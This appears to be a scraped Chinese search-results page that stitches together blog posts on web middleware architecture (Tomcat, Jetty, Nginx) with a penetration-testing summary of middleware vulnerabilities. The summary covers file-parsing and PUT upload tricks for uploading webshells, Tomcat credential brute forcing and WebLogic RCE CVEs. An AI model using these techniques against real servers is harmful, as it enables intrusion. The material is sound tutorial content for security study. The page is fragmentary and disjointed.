精华内容
下载资源
问答
  • web中间件
    千次阅读
    2021-10-16 12:18:48

    一、中间件简介

    中间件是一类连接软件组件和应用的计算机软件,它包括一组服务。以便于运行在一台或多台机器上的多个软件通过网络进行交互。该技术所提供的互操作性,推动了一致分布式体系架构的演进,该架构通常用于支持并简化那些复杂的分布式应用程序,它包括web服务器、事务监控器消息队列软件

    我们经常管web中间件叫做web服务器或者web容器

    正常情况下一次web的访问顺序是:web浏览器—服务器(硬件)—web容器—web应用服务器—数据库服务器。

    二、常见的web中间件有哪些

    在这里插入图片描述

     Tomcat
    Tomcat 是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Java Web 应用服务器(Servlet 容器)。实际上Tomcat 部分是Apache 服务器的扩展,但它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。Tomcat默认使用 8080 号端口

    Weblogic
    WebLogic 是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。Weblogic默认端口是 7001。

    Jboss
    Jboss 是一个基于Java EE的开放源代码的应用服务器。 它不但是Servlet容器,而且也是EJB容器,从而受到企业级开发人员的欢迎,从而弥补了Tomcat只是一个Servlet容器的缺憾。JBoss是一个管理EJB的容器和服务器。但JBoss核心服务不包括支持 servlet/JSP 的WEB容器,一般与 Tomcat 或 Jetty 绑定使用。Jboss默认端口号是8080。

    Jetty
    Jetty 是一个开源的servlet容器,它为基于Java的web容器,例如JSP和servlet提供运行环境。Jetty是使用JAVA编写的,它的API以一组JAR包的形式发布。开发人员可以将Jetty容器实例化成一个对象,可以迅速为一些独立运行(stand-alone)的Java应用提供网络和web连接。

    Webshere
    WebShere 是 IBM 的软件平台。它包含了编写、运行和监视全天候的工业强度的随需应变 Web 应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施,如服务器、服务和工具。WebSphere 提供了可靠、灵活和健壮的软件。WebSphere 是一个模块化的平台,基于业界支持的开放标准。可以通过受信任和持久的接口,将现有资产插入 WebSphere,可以继续扩展环境。WebSphere 可以在许多平台上运行,包括 Intel、Linux 和 z/OS。Webshere默认端口号是 9080。

    Glasshfish
    GlassFish 是一款强健的商业兼容应用服务器,达到产品级质量,可免费用于开发、部署和重新分发。开发者可以免费获得源代码,还可以对代码进行更改。

    更多相关内容
  • web中间件常见漏洞总结.pdf
  • Web中间件常见漏洞总结
  • web中间件常见漏洞分析
  • web中间件

    千次阅读 2021-01-29 08:55:38
    中间件是什么 中间件(英语:Middleware)是提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。他充当的功能是:将应用程序运行环境与操作系统隔离,...

    1 中间件是什么

    中间件(英语:Middleware)是提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。他充当的功能是:将应用程序运行环境与操作系统隔离,从而实现应用程序开发者不必为更多系统问题忧虑,而直接关注该应用程序在解决问题上的能力 。容器就是中间件的一种。
    也就是说,关于中间件,我们可以理解为:是一类能够为一种或多种应用程序合作互通、资源共享,同时还能够为该应用程序提供相关的服务的软件。(注意:中间件是一类软件的总称,不是单独的一个软件)
    我们经常管web中间件叫做web服务器或者web容器
    正常情况下一次web的访问顺序是:web浏览器---服务器(硬件)---web容器---web应用服务器---数据库服务器。

    2 常见中间件简述

    Tomcat
    Tomcat 是Apache 软件基金会(Apache Software Foundation)的Jakarta 项目中的一个核心项目,由Apache、Sun 和其他一些公司及个人共同开发而成。因为Tomcat 技术先进、性能稳定,而且免费,因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可,成为目前比较流行的Java Web 应用服务器(Servlet 容器)。实际上Tomcat 部分是Apache 服务器的扩展,但它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。Tomcat默认使用 8080 号端口

    WebLogic 是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。Weblogic默认端口是 7001。

    Jboss 是一个基于Java EE的开放源代码的应用服务器。 它不但是Servlet容器,而且也是EJB容器,从而受到企业级开发人员的欢迎,从而弥补了Tomcat只是一个Servlet容器的缺憾。JBoss是一个管理EJB的容器和服务器。但JBoss核心服务不包括支持 servlet/JSP 的WEB容器,一般与 Tomcat 或 Jetty 绑定使用。Jboss默认端口号是8080。

    Jetty 是一个开源的servlet容器,它为基于Java的web容器,例如JSP和servlet提供运行环境。Jetty是使用JAVA编写的,它的API以一组JAR包的形式发布。开发人员可以将Jetty容器实例化成一个对象,可以迅速为一些独立运行(stand-alone)的Java应用提供网络和web连接。

    WebShere 是 IBM 的软件平台。它包含了编写、运行和监视全天候的工业强度的随需应变 Web 应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施,如服务器、服务和工具。WebSphere 提供了可靠、灵活和健壮的软件。WebSphere 是一个模块化的平台,基于业界支持的开放标准。可以通过受信任和持久的接口,将现有资产插入 WebSphere,可以继续扩展环境。WebSphere 可以在许多平台上运行,包括 Intel、Linux 和 z/OS。Webshere默认端口号是 9080。

    GlassFish 是一款强健的商业兼容应用服务器,达到产品级质量,可免费用于开发、部署和重新分发。开发者可以免费获得源代码,还可以对代码进行更改。

    3 常见WEB中间件细节

    3.1Tomcat

    3.1.1概念

        Tomcat 服务器是一个开源的轻量级Web应用服务器,在中小型系统和并发量小的场合下被普遍使用,是开发和调试Servlet、JSP 程序的首选。

    3.1.2 原理

        Tomcat结构图:

        Tomcat主要组件:服务器Server,服务Service,连接器Connector、容器Container。连接器Connector和容器Container是Tomcat的核心。

        一个Container容器和一个或多个Connector组合在一起,加上其他一些支持的组件共同组成一个Service服务,有了Service服务便可以对外提供能力了,但是Service服务的生存需要一个环境,这个环境便是Server,Server组件为Service服务的正常使用提供了生存环境,Server组件可以同时管理一个或多个Service服务。

    3.1.3两大组件

    1、Connector

        一个Connecter将在某个指定的端口上侦听客户请求,接收浏览器的发过来的 tcp 连接请求,创建一个 Request 和 Response 对象分别用于和请求端交换数据,然后会产生一个线程来处理这个请求并把产生的 Request 和 Response 对象传给处理Engine(Container中的一部分),从Engine出获得响应并返回客户。 
    Tomcat中有两个经典的Connector,一个直接侦听来自Browser的HTTP请求,另外一个来自其他的WebServer请求。HTTP/1.1 Connector在端口8080处侦听来自客户Browser的HTTP请求,AJP/1.3 Connector在端口8009处侦听其他Web Server(其他的HTTP服务器)的Servlet/JSP请求。 
    Connector 最重要的功能就是接收连接请求然后分配线程让 Container 来处理这个请求,所以这必然是多线程的,多线程的处理是 Connector 设计的核心。

    2、Container

     

    Container是容器的父接口,该容器的设计用的是典型的责任链的设计模式,它由四个自容器组件构成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。通常一个Servlet class对应一个Wrapper,如果有多个Servlet定义多个Wrapper,如果有多个Wrapper就要定义一个更高的Container,如Context。 
    Context 还可以定义在父容器 Host 中,Host 不是必须的,但是要运行 war 程序,就必须要 Host,因为 war 中必有 web.xml 文件,这个文件的解析就需要 Host 了,如果要有多个 Host 就要定义一个 top 容器 Engine 了。而 Engine 没有父容器了,一个 Engine 代表一个完整的 Servlet 引擎。

    • Engine 容器 
      Engine 容器比较简单,它只定义了一些基本的关联关系
    • Host 容器 
      Host 是 Engine 的子容器,一个 Host 在 Engine 中代表一个虚拟主机,这个虚拟主机的作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是 Context,它除了关联子容器外,还有就是保存一个主机应该有的信息。
    • Context 容器 
      Context 代表 Servlet 的 Context,它具备了 Servlet 运行的基本环境,理论上只要有 Context 就能运行 Servlet 了。简单的 Tomcat 可以没有 Engine 和 Host。Context 最重要的功能就是管理它里面的 Servlet 实例,Servlet 实例在 Context 中是以 Wrapper 出现的,还有一点就是 Context 如何才能找到正确的 Servlet 来执行它呢? Tomcat5 以前是通过一个 Mapper 类来管理的,Tomcat5 以后这个功能被移到了 request 中,在前面的时序图中就可以发现获取子容器都是通过 request 来分配的。
    • Wrapper 容器 
      Wrapper 代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。 
      Wrapper 的实现类是 StandardWrapper,StandardWrapper 还实现了拥有一个 Servlet 初始化信息的 ServletConfig,由此看出 StandardWrapper 将直接和 Servlet 的各种信息打交道。

    3、其他组件

        Tomcat 还有其它重要的组件,如安全组件 security、logger 日志组件、session、mbeans、naming 等其它组件。这些组件共同为 Connector 和 Container 提供必要的服务。

    3.1.4 HTTP请求过程

    Tomcat Server处理一个HTTP请求的过程

    1、用户点击网页内容,请求被发送到本机端口8080,被在那里监听的Coyote HTTP/1.1 Connector获得。 
    2、Connector把该请求交给它所在的Service的Engine来处理,并等待Engine的回应。 
    3、Engine获得请求localhost/test/index.jsp,匹配所有的虚拟主机Host。 
    4、Engine匹配到名为localhost的Host(即使匹配不到也把请求交给该Host处理,因为该Host被定义为该Engine的默认主机),名为localhost的Host获得请求/test/index.jsp,匹配它所拥有的所有的Context。Host匹配到路径为/test的Context(如果匹配不到就把该请求交给路径名为“ ”的Context去处理)。 
    5、path=“/test”的Context获得请求/index.jsp,在它的mapping table中寻找出对应的Servlet。Context匹配到URL PATTERN为*.jsp的Servlet,对应于JspServlet类。 
    6、构造HttpServletRequest对象和HttpServletResponse对象,作为参数调用JspServlet的doGet()或doPost().执行业务逻辑、数据存储等程序。 
    7、Context把执行完之后的HttpServletResponse对象返回给Host。 
    8、Host把HttpServletResponse对象返回给Engine。 
    9、Engine把HttpServletResponse对象返回Connector。 
    10、Connector把HttpServletResponse对象返回给客户Browser。

     

    3.2 Jetty

    3.2.1 什么是jetty?

    简单来讲jetty就是一个开源HTTP服务器和Servlet引擎,它可以为JSP和Servlet提供运行时环境。比如Java web应用最常用的Servlet容器和Tomcat。由于其轻量、灵活的特性,jetty也被应用于一些知名产品中,例如ActiveMQ、maven、spark、gooleAppEngine、Eclipse、Hadoop等。


    3.2.2 为什么使用jetty?


    1.异步的Servlet,支持更高的并发量。
    2.模块化的设计,更灵活,更容易定制,也意味着更高的资源利用率。
    3.在面对大量长连接的业务场景下,jetty默认采用的NIO模型是更好的选择。

    将jetty嵌入到应用中,使一个普通应用可以快速支持HTTP服务。

    3.2.3 与tomcat的对比

    jetty比较容易贴合第三方框架,比如你可以直接用Spring配置一个jetty服务器
    直接将jetty作为提供HTTP服务的组件,嵌入到应用中
    jetty是面向Handler的架构,而tomcat是面向容器的架构
    jetty默认采用NIO技术,而tomcat默认是BIO
    jetty高度模块化,可以很灵活的管理拓展组件,而tomcat对其他组件的管理则相对困难

    3.2.4 jetty的基本架构

     

    3.2.5 jetty的项目结构

     

    3.3 Nginx

    3.3.1代理服务器

    Nginx就是反向代理服务器。

    首先我们先来看看什么是代理服务器,代理服务器一般是指局域网内部的机器通过代理服务发送请求到互联网上的服务器,代理服务器一般作用于客户端。比如GoAgent,FQ神器。

    一个完整的代理请求过程为:客户端首先与代理服务器创建连接,然后根据代理服务器所使用的代理协议,请求对目标服务器创建连接、或则获得目标服务器的指定资源。Web代理服务器是网络的中间实体。代理位于Web客户端和Web服务器之间,扮演“中间人”的角色。 
    HTTP的代理服务器既是Web服务器又是Web客户端。

    代理服务器是介于客户端和Web服务器之间的另一台服务器,有了它之后,浏览器不是直接到Web服务器去取回网页,而是通过向代理服务器发送请求,信号会先送到代理服务器,由代理服务器来取回浏览器所需要的信息并传送给你的浏览器。

    正向代理是一个位于客户端和原始服务器之间的服务器,为了从原始服务器取的内容,客户端向代理发送一个请求并指定目标(原始服务器),然后代理向原始服务器转交请求并将获得的内容返回给客户端,客户端必须要进行一些特别的设置才能使用正向代理。

    反向代理服务器:在服务器端接收客户端的请求,然后把请求分发给具体的服务器进行处理,然后再将服务器的响应结果反馈给客户端。Nginx就是其中的一种反向代理服务器软件。
    Nginx:Nginx(“engine x”),Nginx是俄罗斯人Igor Sysoev(塞索耶夫)编写的一款高性能的 HTTP 和反向代理服务器。也是一个IMAP/POP3/SMTP代理服务器,也就是说,Nginx本身就可以托管网站,进行HTTP服务处理,也可以作为反向代理服务器使用。

    正向代理客户端必须设置正向代理服务器,当然前提是要知道正向代理服务器的IP地址,还有代理程序的端口。
    反向代理正好与正向代理相反,对于客户端而言代理服务器就像是原始服务器,并且客户端不需要进行任何特别的设置。客户端向反向代理的命名空间中的内容发送普通请求,接着反向代理将判断向哪个原始服务器转交请求,并将获得的内容返回给客户端。

     

    用户A始终认为它访问的是原始服务器B而不是代理服务器Z,但实际上反向代理服务器接受用户A的应答,
    从原始资源服务器B中取得用户A的需求资源,然后发送给用户A。由于防火墙的作用,只允许代理服务器Z访问原始资源服务器B。尽管在这个虚拟的环境下,防火墙和反向代理的共同作用保护了原始资源服务器B,但用户A并不知情。

    简单的说:
    正向代理:客户端知道服务器端,通过代理端连接服务器端。代理端代理的是服务器端。
    反向代理:所谓反向,是对正向而言的。服务器端知道客户端,客户端不知道服务器端,通过代理端连接服务器端。代理端代理的是客户端。代理对象刚好相反,所以叫反向代理。

    3.3.2.Nginx的应用现状


    Nginx 已经在俄罗斯最大的门户网站── Rambler Media(www.rambler.ru)上运行了很多年,同时俄罗斯超过20%的虚拟主机平台采用Nginx作为反向代理服务器。
    在国内,已经有 淘宝、新浪博客、新浪播客、网易新闻、六间房、56.com、Discuz!、水木社区、豆瓣、YUPOO、海内、迅雷在线 等多家网站使用 Nginx 作为Web服务器或反向代理服务器。

    3.3.3.Nginx的特点


    (1)跨平台:Nginx 可以在大多数 Unix like OS编译运行,而且也有Windows的移植版本。
    (2)配置异常简单,非常容易上手。配置风格跟程序开发一样,神一般的配置
    (3)非阻塞、高并发连接:数据复制时,磁盘I/O的第一阶段是非阻塞的。官方测试能够支撑5万并发连接,在实际生产环境中跑到2~3万并发连接数.(这得益于Nginx使用了最新的epoll模型)
    (4)事件驱动:通信机制采用epoll模型,支持更大的并发连接。
    (5)master/worker结构:一个master进程,生成一个或多个worker进程
    (6)内存消耗小:处理大并发的请求内存消耗非常小。在3万并发连接下,开启的10个Nginx 进程才消耗150M内存(15M*10=150M) 
    (7)成本低廉:Nginx为开源软件,可以免费使用。而购买F5 BIG-IP、NetScaler等硬件负载均衡交换机则需要十多万至几十万人民币
    (8)内置的健康检查功能:如果 Nginx Proxy 后端的某台 Web 服务器宕机了,不会影响前端访问。
    (9)节省带宽:支持 GZIP 压缩,可以添加浏览器本地缓存的 Header 头。
    (10)稳定性高:用于反向代理,宕机的概率微乎其微

    如何使用事件驱动呢?

    Nginx的事件处理机制:
    对于一个基本的web服务器来说,事件通常有三种类型,网络事件、信号、定时器。 
    首先看一个请求的基本过程:建立连接---接收数据---发送数据 。
    再次看系统底层的操作 :上述过程(建立连接---接收数据---发送数据)在系统底层就是读写事件。

    1)如果采用阻塞调用的方式,当读写事件没有准备好时,必然不能够进行读写事件,那么久只好等待,等事件准备好了,才能进行读写事件。那么请求就会被耽搁 。阻塞调用会进入内核等待,cpu就会让出去给别人用了,对单线程的worker来说,显然不合适,当网络事 件越多时,大家都在等待呢,cpu空闲下来没人用,cpu利用率自然上不去了,更别谈高并发了 。           

    2)既然没有准备好阻塞调用不行,那么采用非阻塞方式。非阻塞就是,事件,马上返回EAGAIN,告诉你,事件还没准备好呢,你慌什么,过会再来吧。好吧,你过一会,再来检查一下事件,直到事件准备好了为止,在这期间,你就可以先去做其它事情,然后再来看看事 件好了没。虽然不阻塞了,但你得不时地过来检查一下事件的状态,你可以做更多的事情了,但带来的开销也是不小的 

    小结:非阻塞通过不断检查事件的状态来判断是否进行读写操作,这样带来的开销很大。 

    3)因此才有了异步非阻塞的事件处理机制。具体到系统调用就是像select/poll/epoll/kqueue这样的系统调用。他们提供了一种机制,让你可以同时监控多个事件,调用他们是阻塞的,但可以设置超时时间,在超时时间之内,如果有事件准备好了,就返回。这种机制解决了我们上面两个问题。 

    以epoll为例:当事件没有准备好时,就放入epoll(队列)里面。如果有事件准备好了,那么就去处理;如果事件返回的是EAGAIN,那么继续将其放入epoll里面。从而,只要有事件准备好了,我们就去处理她,只有当所有时间都没有准备好时,才在epoll里面等着。这样 ,我们就可以并发处理大量的并发了,当然,这里的并发请求,是指未处理完的请求,线程只有一个,所以同时能处理的请求当然只有一个了,只是在请求间进行不断地切换而已,切换也是因为异步事件未准备好,而主动让出的。这里的切换是没有任何代价,你可以理 解为循环处理多个准备好的事件,事实上就是这样的。 

    4)与多线程的比较:
    与多线程相比,这种事件处理方式是有很大的优势的,不需要创建线程,每个请求占用的内存也很少,没有上下文切换,事件处理非常的轻量级。并发数再多也不会导致无谓的资源浪费(上下文切换)。

    小结:通过异步非阻塞的事件处理机制,Nginx实现由进程循环处理多个准备好的事件,从而实现高并发和轻量级。

    3.3.4.Nginx的不为人知的特点


    (1)nginx代理和后端web服务器间无需长连接;
    (2)接收用户请求是异步的,即先将用户请求全部接收下来,再一次性发送后后端web服务器,极大的减轻后端web服务器的压力
    (3)发送响应报文时,是边接收来自后端web服务器的数据,边发送给客户端的
    (4)网络依赖型低。NGINX对网络的依赖程度非常低,理论上讲,只要能够ping通就可以实施负载均衡,而且可以有效区分内网和外网流量
    (5)支持服务器检测。NGINX能够根据应用服务器处理页面返回的状态码、超时信息等检测服务器是否出现故障,并及时返回错误的请求重新提交到其它节点上

    3.3.5.Nginx的内部(进程)模型

    nginx是以多进程的方式来工作的,当然nginx也是支持多线程的方式的,只是我们主流的方式还是多进程的方式,也是nginx的默认方式。nginx采用多进程的方式有诸多好处 .

    (1) nginx在启动后,会有一个master进程和多个worker进程。master进程主要用来管理worker进程,包含:接收来自外界的信号,向各worker进程发送信号,监控 worker进程的运行状态,当worker进程退出后(异常情况下),会自动重新启动新的worker进程。而基本的网 络事件,则是放在worker进程中来处理了 。多个worker进程之间是对等的,他们同等竞争来自客户端的请求,各进程互相之间是独立的 。一个请求,只可能在一个worker进程中处理,一个worker进程,不可能处理其它进程的请求。 worker进程的个数是可以设置的,一般我们会设置与机器cpu核数一致,这里面的原因与nginx的进程模型以及事件处理模型是分不开的 。

    (2)Master接收到信号以后怎样进行处理(./nginx -s reload )?首先master进程在接到信号后,会先重新加载配置文件,然后再启动新的进程,并向所有老的进程发送信号,告诉他们可以光荣退休了。新的进程在启动后,就开始接收新的请求,而老的进程在收到来自 master的信号后,就不再接收新的请求,并且在当前进程中的所有未处理完的请求处理完成后,再退出 .

    (3) worker进程又是如何处理请求的呢?我们前面有提到,worker进程之间是平等的,每个进程,处理请求的机会也是一样的。当我们提供80端口的http服务时,一个连接请求过来,每个进程都有可能处理这个连接,怎么做到的呢?首先,每个worker进程都是从master 进程fork(分配)过来,在master进程里面,先建立好需要listen的socket之后,然后再fork出多个worker进程,这样每个worker进程都可以去accept这个socket(当然不是同一个socket,只是每个进程的这个socket会监控在同一个ip地址与端口,这个在网络协议里面是允许的)。一般来说,当一个连接进来后,所有在accept在这个socket上面的进程,都会收到通知,而只有一个进程可以accept这个连接,其它的则accept失败,这是所谓的惊群现象。当然,nginx也不会视而不见,所以nginx提供了一个accept_mutex这个东西,从名字上,我们可以看这是一个加在accept上的一把共享锁。有了这把锁之后,同一时刻,就只会有一个进程在accpet连接,这样就不会有惊群问题了。accept_mutex是一个可控选项,我们可以显示地关掉,默认是打开的。当一个worker进程在accept这个连接之后,就开始读取请求,解析请求,处理请求,产生数据后,再返回给客户端,最后才断开连接,这样一个完整的请求就是这样的了。我们可以看到,一个请求,完全由worker进程来处理,而且只在一个worker进程中处理。

    (4)nginx采用这种进程模型有什么好处呢?采用独立的进程,可以让互相之间不会影响,一个进程退出后,其它进程还在工作,服务不会中断,master进程则很快重新启动新的worker进程。当然,worker进程的异常退出,肯定是程序有bug了,异常退出,会导致当前worker上的所有请求失败,不过不会影响到所有请求,所以降低了风险。当然,好处还有很多,大家可以慢慢体会。

    (5)有人可能要问了,nginx采用多worker的方式来处理请求,每个worker里面只有一个主线程,那能够处理的并发数很有限啊,多少个worker就能处理多少个并发,何来高并发呢?非也,这就是nginx的高明之处,nginx采用了异步非阻塞的方式来处理请求,也就是说,nginx是可以同时处理成千上万个请求的 .对于IIS服务器每个请求会独占一个工作线程,当并发数上到几千时,就同时有几千的线程在处理请求了。这对操作系统来说,是个不小的挑战,线程带来的内存占用非常大,线程的上下文切换带来的cpu开销很大,自然性能就上不去了,而这些开销完全是没有意义的。我们之前说过,推荐设置worker的个数为cpu的核数,在这里就很容易理解了,更多的worker数,只会导致进程来竞争cpu资源了,从而带来不必要的上下文切换。而且,nginx为了更好的利用多核特性,提供了cpu亲缘性的绑定选项,我们可以将某一个进程绑定在某一个核上,这样就不会因为进程的切换带来cache的失效

    3.3.6.Nginx是如何处理一个请求

    首先,nginx在启动时,会解析配置文件,得到需要监听的端口与ip地址,然后在nginx的master进程里面,先初始化好这个监控的socket(创建socket,设置addrreuse等选项,绑定到指定的ip地址端口,再listen),然后再fork(一个现有进程可以调用fork函数创建一个 新进程。由fork创建的新进程被称为子进程 )出多个子进程出来,然后子进程会竞争accept新的连接。此时,客户端就可以向nginx发起连接了。当客户端与nginx进行三次握手,与nginx建立好一个连接后,此时,某一个子进程会accept成功,得到这个建立好的连接的 socket,然后创建nginx对连接的封装,即ngx_connection_t结构体。接着,设置读写事件处理函数并添加读写事件来与客户端进行数据的交换。最后,nginx或客户端来主动关掉连接,到此,一个连接就寿终正寝了。

    当然,nginx也是可以作为客户端来请求其它server的数据的(如upstream模块),此时,与其它server创建的连接,也封装在ngx_connection_t中。作为客户端,nginx先获取一个ngx_connection_t结构体,然后创建socket,并设置socket的属性( 比如非阻塞)。然后再通过添加读写事件,调用connect/read/write来调用连接,最后关掉连接,并释放ngx_connection_t。

    nginx在实现时,是通过一个连接池来管理的,每个worker进程都有一个独立的连接池,连接池的大小是worker_connections。这里的连接池里面保存的其实不是真实的连接,它只是一个worker_connections大小的一个ngx_connection_t结构的数组。并且,nginx会通过一个链表free_connections来保存所有的空闲ngx_connection_t,每次获取一个连接时,就从空闲连接链表中获取一个,用完后,再放回空闲连接链表里面。 

    在这里,很多人会误解worker_connections这个参数的意思,认为这个值就是nginx所能建立连接的最大值。其实不然,这个值是表示每个worker进程所能建立连接的最大值,所以,一个nginx能建立的最大连接数,应该是worker_connections * worker_processes。当然 ,这里说的是最大连接数,对于HTTP请求本地资源来说,能够支持的最大并发数量是worker_connections * worker_processes,而如果是HTTP作为反向代理来说,最大并发数量应该是worker_connections * worker_processes/2。因为作为反向代理服务器,每个并发会建立与客户端的连接和与后端服务的连接,会占用两个连接。

     

     

     

     

     

     

     

     

     

     

     

    展开全文
  • 适用于actix-web的Prometheus中间件适用于actix-web的Prometheus工具。 该中间件受到sd2k / rocket_prometh的影响,该中间件用于actix-web的Prometheus仪器,用于actix-web的Prometheus工具。 sd2k / rocket_...
  • Web中间件常见漏洞总结(免积分)
  • Web中间件 常见的Web中间件: Php中间件漏洞 Apache: Nginx: IIS漏洞 JAVA中间件漏洞 Tomcat: WebLogic: Web中间件 一类能够为一种或多种应用程序合作互通、资源共享,同时还能够为该应用程序提供...

    目录

    Web中间件

    常见的Web中间件:

    Php中间件漏洞

    Apache:

    Nginx:

    IIS漏洞

    JAVA中间件漏洞

    Tomcat:

    WebLogic:


    Web中间件

    一类能够为一种或多种应用程序合作互通、资源共享,同时还能够为该应用程序提供相关的服务的软件,在web业务中我们也把他称为Web服务器,Web容器

    常见的Web中间件:

    IIS Apache Nginx WebLogic Tomcat JBoss

    Php中间件漏洞

    Apache:

    文件解析漏洞:

    Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令。
    
    如: shell.php.jpg      Apache不认识.jpg后缀,就会将按照从右到左的顺序,将其当作.php解析
    
    
    如果运维开启了AddHandler application/x-httpd-php .php
    甚至可以只要含有php就可以,没必要是最后一个后缀

    换行解析漏洞:

    httpd 2.4.0~2.4.29版本,解析时会将.php\x0A当成.php文件解析
    
    burp中换行是%0d%0a
    
    shell.php\0a  --->  shell.php
    
    

    Nginx:

    文件解析漏洞:

    由于php中的选项cgi.fix_pathinfo的默认值被开启,所以当nginx看到.php结尾的文件就交给了php处理:
    
    当我们传入shell.png/shell.php时,nginx将其当作php解析,但没有找到shell.php文件,向上级目录修
    
    正,然后就会将shell.png当作php解析,其中shell.png为图片马
    
    
    shell.png/shell.php   --->shell.png   当作php解析

    文件名逻辑漏洞:

    nginx版本:Nginx 0.8.41~1.4.3 Nginx 1.5.0~1.5.7(未设置cgi.fix_pathinfo情况下)
    
    漏洞源码:
    
    location ~ \.php$ {
        include        fastcgi_params;
    
        fastcgi_pass   127.0.0.1:9000;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME  /var/www/html$fastcgi_script_name;
        fastcgi_param  DOCUMENT_ROOT /var/www/html;
    }
    
    可以这样理解:当传入.php文件时,进入这个Location板块,有fastcgi当作php解析;
    
    而该漏洞则是  当传入shell.gif[0x20][0x00].php时,符合正则\*.php$ ,进入location板块,而传入后
    
    nginx却认为它是shell.gif[0x20],被传给fastcgi当作.php处理
    
    
    shell.gif[0x20][0x00].php--->shell.gif[0x20]  
    
    利用,上传shell.png[0x20],然后抓包修改,添加[0x00].php(Hex)

    IIS漏洞

    IIS文件解析漏洞:

    一.版本:IIS5.x/6.0
    
    除了含有特殊符号的文件路径时出现逻辑错误
    
    1.    /shell.asp/shell.png   
    
    目录解析,/shell.asp下的所有文件都会被当作asp执行
    
    
    2.    /shell.asp;.png
    
    ; 后面的不会被当作后缀解析
    
    3.    IIS6.x除了会将扩展名为.asp的文件解析为asp之外,还默认会将扩展名为.asa,.cdx,.cer解析为asp,
    
    二.版本:IIS7.0/IIS 7.5
    
    和nginx文件解析漏洞相似

    PUT文件上传漏洞:

    版本:IIS6.0
    
    条件:开启WebDAV(允许用户协作编辑和管理远程web服务器上的文件)和写权限
    
    1.利用OPTION请求查看到服务端允许PUT请求方式
    
    2.利用PUT请求写入含有一句话木马的文件,文件名后缀为.txt等,如shell.txt
    
    3.利用COPY或MOVE请求将文件名后缀改为.asp  shell.asp;.txt
    
    4.连接木马

     

    短文件名漏洞:

    IIS的短文件名机制,可以暴力猜解短文件名,访问构造的某个存在的短文件名,会返回404,访问构造的某个不存在的短文件名,返回400。
    
    

    远程代码执行:

    在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,从而导致远程代码执行。
    
    

    JAVA中间件漏洞

    Tomcat:

    PUT文件上传漏洞

    版本:Tomcat 7.0.0 – 7.0.81
    
    条件:readonly设置为了false
    
    
    利用shell.jsp/ 绕过
    
    
    

     

    弱口令+后台getshell漏洞

    Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。
    
    获取权限:
    
    基础认证特征:
    
      请求的HTTP头字段会包含Authorization字段:
      Authorization: Basic YWRtaW46MTIzNDU2
      base64加密后的admin:123456
    
    
    burpsuite如何对其爆破:
    
      payload type选择Custom iterator(自定义迭代器)
      设置自定义payload
      在Payload Processing中点击add添加相应的加密base64
      在最后的Payload Encoding中取消urlencode加密特殊字符
    
    

    WebLogic:

    SSRF

    利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。

    管理控制台未授权RCE

    CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
    

    任意文件上传

    Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。
    

    展开全文
  • web中间件安全

    千次阅读 2021-08-31 12:45:02
    中间件漏洞

    web中间件安全

    <span style="color:red;">红色</span>
    

    在这里插入图片描述

    学习目标

    章节学习目标
    中间件常见信息常见中间件默认登录口令
    常见中间件默认端口
    常见中间件默认站点根目录
    IIS漏洞利用与防护IIS PUT漏洞
    IIS 短文件名猜解漏洞
    IIS 解析漏洞
    IIS 目录浏览漏洞
    Apache常见漏洞利用与防护Apache 解析漏洞
    Apache 目录浏览漏洞<>
    Nginx常见漏洞与防护Nginx 解析漏洞
    Nginx 目录浏览漏洞
    Nginx 路径穿越漏洞
    Tomcat常见漏洞与防护掌握Tomcat Basic爆破
    掌握Tomcat 后门部署war包
    掌握Tomcat 远程代码执行漏洞
    掌握Tomcat 文件读取漏洞
    jBoss常见漏洞利用与防护jBoss 反序列化漏洞
    jBoss 后门部署war包
    Weblogic常见漏洞利用与防护Weblogic 反序列化漏洞
    Weblogic 后门部署war包
    Weblogic 任意文件上传
    Weblogic SSRF漏洞利用
    Weblogic 文件密码解密的方式
    
    

    中间价常见信息

    在这里插入图片描述

    
    

    IIS

    PUT漏洞

